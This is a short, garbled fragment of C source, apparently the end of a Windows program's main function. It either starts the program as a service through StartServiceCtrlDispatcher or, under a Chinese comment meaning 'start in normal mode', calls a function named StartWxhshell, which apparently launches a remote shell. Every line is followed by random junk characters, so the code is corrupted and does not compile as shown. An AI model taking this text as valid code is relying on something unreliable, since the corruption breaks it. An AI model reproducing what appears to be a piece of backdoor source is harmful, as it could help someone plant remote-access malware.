StartServiceCtrlDispatcher(DispatchTable); H`+]dXLB
else r-1yJ
// 普通方式启动 B^_$ hJncc
StartWxhshell(lpCmdLine); A$H+4L
nsr _\F\
return 0; @4W\RwD
}